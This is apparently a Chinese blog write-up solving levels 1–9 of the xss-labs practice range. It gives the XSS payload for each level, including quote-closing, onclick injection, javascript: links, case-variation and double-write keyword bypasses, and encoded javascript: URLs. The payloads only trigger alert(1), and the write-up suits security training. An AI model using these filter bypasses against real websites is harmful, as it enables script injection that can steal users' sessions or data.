【xss-labs】xss-labs 靶场通关(1-9)
🏘️个人主页: 点燃银河尽头的篝火(●’◡’●)
如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦
【xss-labs】xss-labs 靶场通关(1-9)
第一关 level1
查看网站源码,可以发现get传参name的值test插入了html里头

直接在url后加上JS语句即可

<script>alert(1)</script>
第二关 lever2
查看网页源码发现和第一关差不多,先在url后加上JS语句试试
发现报错

再次查看源码,发现JS语句被包在" "中没有执行

应该闭合" "

"> <script>alert(1)</script>
第三关 level3
先输入123456,然后查看网站源码

所以还是闭合问题,输入第二题的JS语言试试
发现报错

用单引号'闭合试试,还是报错,检查源代码
发现符号被过滤

我们可以利用onclick绕过<>号的过滤来达到执行js的目的
在文本框输入:
' οnclick='javascript:alert(1)

再次点击文本框即可触发绕过通关
第四关 level4
查看网页源码,发现还是input 的双引号" "闭合

将第三关的单引号换成双引号,再次点击文本框即可触发绕过通关
" οnclick="javascript:alert(1)
第五关 level5
查看源代码,先用上一题的绕过语句试试

插入语句后发现原本的onclick被替换成o_nclick,而且双引号"被过滤

所以我们用超链接注入
"> <a href="javascript:alert(1)">level5</a>

点击level5即可通关
第六关 level6
查看源代码发现和前几关一样,随便输入先试试过滤了些什么
"> <a href="javascript:alert(1)">level5</a>
果然报错,查看源代码
发现符号全被过滤

用大小写绕过试试
"> <a hREf="javascript:alert(1)">level6</a>
发现成功绕过

点击level6即可通关
第七关 level7
源码和之前一样,先随便输入看看
" > <a hREF="javascript:alert(1)">level7</a>
发现还是符号全过滤,hERF、script也被删掉了

我们可以用双写绕过
例:
script写作scrscriptipt
相当于scr(script)ipt,中间的script被删掉后两边的字母又可以拼接成一个script
" > <a hrhrefef="javascrscriptipt:alert(1)">level7</a>
这里是将 herf 和 script 做了双写绕过
成功绕过:

第八关 level8
先随便输入看看
" > <a hREF="javascrscriptipt:alert(1)">level7</a>
查看源码发现输入的值插入了两个地方
符号被过滤,href、script插入下划线,下方存在一个a href,大写字母被替换为小写

我们可以试着插入一段js伪协议
javascript:alert(1)
用在线Unicode编码解码 - 码工具进行Unicode编码

在文本框输入Unicode编码
javascript:alert(1)

点击友情链接即可
第九关 level9
先随便输入看看
" > <a hREF="javascrscriptipt:alert(1)">level9</a>
发现href未插入成功

链接不合法就插入一个合法链接(向传入的值里面添加http://)
http://用注释符注释掉,即/* http:// */
用Unicode编码后插入
javascript:alert()/* http:// */

点击友情链接即可
更多推荐



所有评论(0)